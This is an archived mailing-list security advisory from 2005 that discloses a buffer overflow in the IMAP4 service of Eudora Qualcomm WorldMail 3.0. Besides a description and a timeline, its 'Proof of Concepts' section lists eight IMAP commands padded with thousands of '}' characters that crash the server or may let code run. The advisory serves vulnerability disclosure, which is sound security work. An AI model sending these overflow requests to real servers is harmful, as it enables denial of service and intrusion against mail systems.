bugtraq - [ACSSEC-2005-11-27-0x1] Eudora Qualcomm WorldMail 3.0 IMAP4 Servi ce 6.1.19.0

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <19EB64BD78B38346A99498A89CF73AB3C48D2F@dalexmb03.exchange.acsad.acs-inc.com>
Date: Tue, 20 Dec 2005 03:29:20 -0600
From: Security Advisories <Security-Advisories@...-inc.com>
To: "'full-disclosure@...ts.grok.org.uk'" <full-disclosure@...ts.grok.org.uk>
Cc: "'bugtraq@...urityfocus.com'" <bugtraq@...urityfocus.com>
Subject: [ACSSEC-2005-11-27-0x1] Eudora Qualcomm WorldMail
	3.0 IMAP4 Servi ce 6.1.19.0

-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
ACS Security Assessment Advisory - Buffer Overflow

ID:       ACSSEC-2005-11-27 - 0x1

Class:    Buffer Overflow
Package:  Eudora Qualcomm WorldMail 3.0 IMAP4 Service 6.1.19.0
Build:    Windows NT/2k/XP/2k3
Notified: Dec 01, 2005
Released: Dec 21, 2005

Remote:   Yes
Severity: Medium

Credit:   Tim Shelton	        <security-advisories@...-inc.com>
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-

-=[ Background

WorldMail 3 email and messaging server for small to large 
enterprises combines the features needed for today's cluttered 
email environment. WorldMail 3 combines the latest security 
tools required to stop abuse, spam, viruses and 
Directory Harvest Attacks (DHA). Other features include; a 
web-based email client, multi-level administration privileges 
and tools for migrating from WorldMail 2, OpenWave Post.Office, 
Ipswitch iMail and others.

-=[ Technical Description

Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 (and possibly others)
is vulnerable to a buffer overflow via a specially crafted IMAP requests. 
A remote attacker could issue the vulnerable command followed by malicious
code to execute arbitrary code or lead to a denial of service.

-=[ Proof of Concepts

IMAP REQUEST: '02 LIST ""' + '}'x 5000
IMAP REQUEST: '03 LSUB ""' + '}'x 32762
IMAP REQUEST: '04 SEARCH TEXT ' + '}'x32762
IMAP REQUEST: '05 STATUS INBOX ' + '}'x32764
IMAP REQUEST: '02 AUTHENTICATE ' + '}'x32768
IMAP REQUEST: '02 FETCH 2:4 ' + '}'x10000
IMAP REQUEST: '02 SELECT ' + '}'x10000
IMAP REQUEST: '02 COPY 2:4 ' + '}'x32765

-=[ Solution
No remedy available as of December 2005.

-=[ Credits

Vulnerability originally reported by Tim Shelton

-=[ Similar References

http://www.idefense.com/application/poi/display?id=341&type=vulnerabilities

-=[ ChangeLog

2005-11-27 : Original Advisory
2005-12-01 : Vendor Notified
2005-12-20 : No response from vendor, disclosing full information.

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/